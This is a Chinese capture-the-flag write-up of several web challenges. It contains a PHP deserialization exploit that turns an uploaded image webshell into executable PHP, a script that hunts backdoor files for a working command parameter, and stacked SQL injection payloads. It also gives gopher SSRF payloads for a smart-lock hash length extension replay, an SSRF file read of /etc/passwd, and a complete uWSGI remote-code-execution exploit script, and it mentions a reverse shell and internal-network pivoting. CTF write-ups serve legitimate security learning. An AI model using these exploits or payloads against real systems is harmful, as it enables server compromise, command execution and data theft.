0x01 upload
扫描得到源码文件:www.tar.gz,所以这道题目主要就是代码审计的工作,网站的主体功能代码在:application\web,漏洞触发点在Porfile
if($this->ext) { if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}
else{
$this->error('Forbidden type!', url('../index'));
}
}
else{
$this->error('Unknow file type!', url('../index'));
}
也就是说如果ext为1的话,就会执行copy操作,把最初上传的文件copy重命名为filename,所以利用逻辑就是上传一个图片木马,然后出发copy更名为一个.php文件就行了。
登录后在INDEX.php文件中对cookie进行了反序列化操作,在Register类中实例化了Profile类,所以最终的漏洞利用逻辑:
- 注册一个账号,登录后上传一张图片木马。
- 构造序列化,实例化Register,在Register中实例化Profile,将ext设置为1,filename_tmp为上传的图片地址,filename设置为php名称,except设置为array('index'=>'upload_img')。
- 登录帐号,将cookie修改为构造序列化输出的并base64编码的数据,直接请求触发就可以触发漏洞。
这里直接贴exp
<?php
namespace app\web\controller;
//include('Index.php');
class Index{}
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $ext;
public $except;
public function upload_img(){
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __construct()
{
$this->checker=new Index();
}
public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}
public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$check = new Register();
$check->registed=0;
$check->checker=new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.php";
$payload = base64_encode(serialize($check));
print_r($payload);
利用成功后直接将jpg文件copy为php文件,就可以触发一句话木马了(我都不知道我为何要传一个601K的文件,执行命令卡飞了)
这个题目环境会有问题,再加上我本地namespace环境出了丢丢问题,成功让我丢了2血拿了4血,难受。
0x02 高明的黑客
下载www.tar.gz后发现是3000多个“木马”文件,简单审计一下发现虽然有很多命令执行的地方,但在此之前都已经将GET或POST参数赋空值,或者加上恒为假的if判断,在于找不到路的时候又肯定不是每个都去看的情况下,于是乎写了个脚本提取每个文件中的GET、POST参数,这些参数可能传入的是assert和eval,或者传入了system和反引号,利用本地测试判断能否命令执行,最终在测试GET参数的过程中发现其中一个能用的shell并且获得其参数,是直接命令执行的,被自己操作骚到。这里贴下跑出这个的脚本(Very easy,写了好几个一起跑的)
import requests
import re
import os
from time import sleep
flies = os.listdir('./src')
for i in flies:
url = 'http://127.0.0.1/src/'+i
f = open('./src/'+i)
data = f.read()
f.close()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
params = reg.findall(data)
for j in params:
payload = url + '/?' + j + '=echo 123456123456123456123456'
print payload
req=requests.get(payload)
if '123456123456123456123456' in req.content:
print payload
exit();
直接拿去环境
cat /flag
下就好了,最后捡了个第六解,这题的正解是PHP动态调用分析,就不再介绍了
0x03 随便注
如题名描述,是一道注入题(注不出来的时候一度怀疑题目名全称是不是,随便注,反正你注不出来),Fuzz一下,可以发现过滤规则return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
所以就是没法通过select和'.'来读表和数据的意思咯,不过可以通过报错注入出来的数据库名(supersqli)、用户等信息(果然是随便注),所以执行的SQL语句肯定是select * from supersqli.table_name where id='' ;
一番云雨测试后,确定了这是一个堆叠注入,就是可以一次性执行多条sql语句,
’;show tables from supersqli;#
得到所有表名,另一张表名是1919810931114514
’;show cloumns from 1919810931114514;#
得到了1919810931114514表中的所有列名,其中包含了flag列,最后操作的思路是,把1919810931114514表改名为words,这样在后台SQL语句不变的情况下仍然可以查询得到flag的内容,改成words前得先把words改成其他的,如果一条一条执行,那改完words题目就崩了,所以一样堆叠执行,一次性完成在1919810931114514中插入id列,words改名,1919810931114514改为words,payload如下:
';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;
直接查询就可以得到原1919810931114514表中的内容,也就是flag了。
0x04 上单
thinkphp5.0.*任意代码执行,EXP一把梭就好了
0x05 智能门锁
(自己没图,盗了W&M大兄弟的图)
这题在比赛期间的思路被带错了,这里把操作写一下。在刚开始的时候非预期拿到了school那的一个流量包,出题人没加forbidden,所以访问到uploads的时候就直接列出来了,因为school做了ip限制,
所以进入school的时候需要设置clint-ip进行访问,当时拿到流量包的时候因为超前了,不知道有啥用......(虽然说后来也不知道有啥用),通过分析流量包我们知道了门锁的IP以及端口还有发送的数据。
并且进入demo的时候,可以看到下载固件v2的地址,不过又提示说v2修复了漏洞,那意思就是说v1的有洞了,下载链接上把v2改成v1就可以下载到v1了,所以意思就是怼固件咯,下载下来的文件改后缀为zip,里面是一个hex文件,一番云雨,对web狗来说太难了,不过我们有v1的流量包了,v1和v2开门流量应该是一样的,我们只要改一个版本号就行了,如果可以篡改门锁的时间戳就可以进行重放,然后这里的签名方法是存在哈希长度扩展攻击。,我们直接拿流量包里面同步时间截的数据包去进行扩展攻击,所以payload为
/get_info.php?url=gopher://10.2.3.103:2333/_%26%02%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%00%12
/get_info.php?url=gopher://10.2.3.103:2333/_%AC%02%B5%5E%97%0E%D5%8B%92%3F%2C%27%02%BD%C8%87%1B%5E%22%3B%BA%B8%A2%EA%6B%4C%72%BD%D4%9D%6D%4D%4F%CF%5C%CB%DA%D1%10%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%04%66%2D%38%22
/get_info.php?url=gopher://10.2.3.103:2333/_%28%02%70%C8%96%BB%5A%A8%44%F8%48%CD%EE%8C%05%42%BF%43%8D%3C%8A%A7%E4%3B%D0%9C%E4%E4%35%1D%B0%00%E7%FF%5C%CB%DA%D2%20%01%F0
babywebbb
这题一开始路走错了(枯死),证书里写了52dandan.xyz,去年是52dandan.cc,所以肯定是个渗透题,在www.52dandan.xyz上扫了一波,发现了各种提权脚本,我还以为是要怼下www.52dandan.xyz,然后在内网对题目......
第二天才知道原来不是www.52dandan.xyz,是qqwwwwbbbb.52dandan.xyz......所以改下hosts就可以访问到题目了,并且前期扫端口的时候873是开的,刚好有rsync泄漏,里面可以下载到qqwwwwbbbb.52dandan.xyz上的源码,分析源码其中graphQL的API服务存在注入,可以直接利用万能密码登录,并且user.py上有个system操作,可以直接ssrf
user.route('/newimg', methods=['POST','GET'])
@login_required
def test():
url = unquote(request.form.get('newurl'))
if re.match("^[A-Za-z0-9-_%:./]*$",url):
filename = ramdom_str()
command = "curl {} > /tmp/{}".format(url, filename)
os.system(command)
with open("/tmp/{}".format(filename),"rb") as res:
res_data = res.read()
res_data = base64.b64encode(res_data)
return res_data
return ""
所以构造下注入登入,然后ssrf一波就可以读文件了
URL:https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg
POST:newurl=file://etc/passwd
读nigix的配置文件后知道服务器配有uwsgi服务
github上有个uwsgi的RCE脚本
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
import urllib
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
if sys.version_info[0] == 3: import bytes
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
# print(urlencode(result))
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, payload=None, body=None):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
# s.headers['UWSGI_FILE'] = payload
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
tmp = (pack_uwsgi_vars(var) + body.encode('utf8'))
tmp=urllib.quote(tmp)
print(tmp)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
# Actually we dont need the response, it will block if we run any commands.
# So I comment all the receiving stuff.
# while 1:
# data = s.recv(4096)
# if not data:
# break
# response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, payload)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload,
'SCRIPT_NAME': target_url
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client & RCE exploit.
Last modifid at 2018-01-30 by wofeiwo@80sec.com
"""
elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
parser = argparse.ArgumentParser(description=desc, epilog=elog)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-c', '--command', nargs='?', required=True,
help='Command: The exploit command you want to execute, must have this.',
dest='command')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
if args.mode.lower() == "http":
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
return
payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
# print(payload)
print("[*]Sending payload.")
print payload
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
if __name__ == '__main__':
main()
打印出gohper,通过ssrf用python的反弹shell操作打一波3031端口就好了,就可以拿到shell(继续盗bertram图)
提示有socks代理,扫一波发现172.16.17.4有1080端口,所以做个代理就好了,师傅们都用ew的,这个就不介绍了,转发出来了就直接用公网打就好了,并且官方最后公布了内网服务的源码,其实在内网的时候有着各个师傅们搭好的路,直接抄作业就好了,2333,执行流程应该是是(改bertram表述),构造反序列化payload
User 1 -> POST /adduser username=payload&password=
User 1 -> /savelog 修改 User2 session
User 2 -> 登录触发反序列化
User 2 -> getflag
(最后的我没测,打完就跑路了,被自己菜哭了)
0x06 babywp
webpwn,果断放弃,看官方WP就好了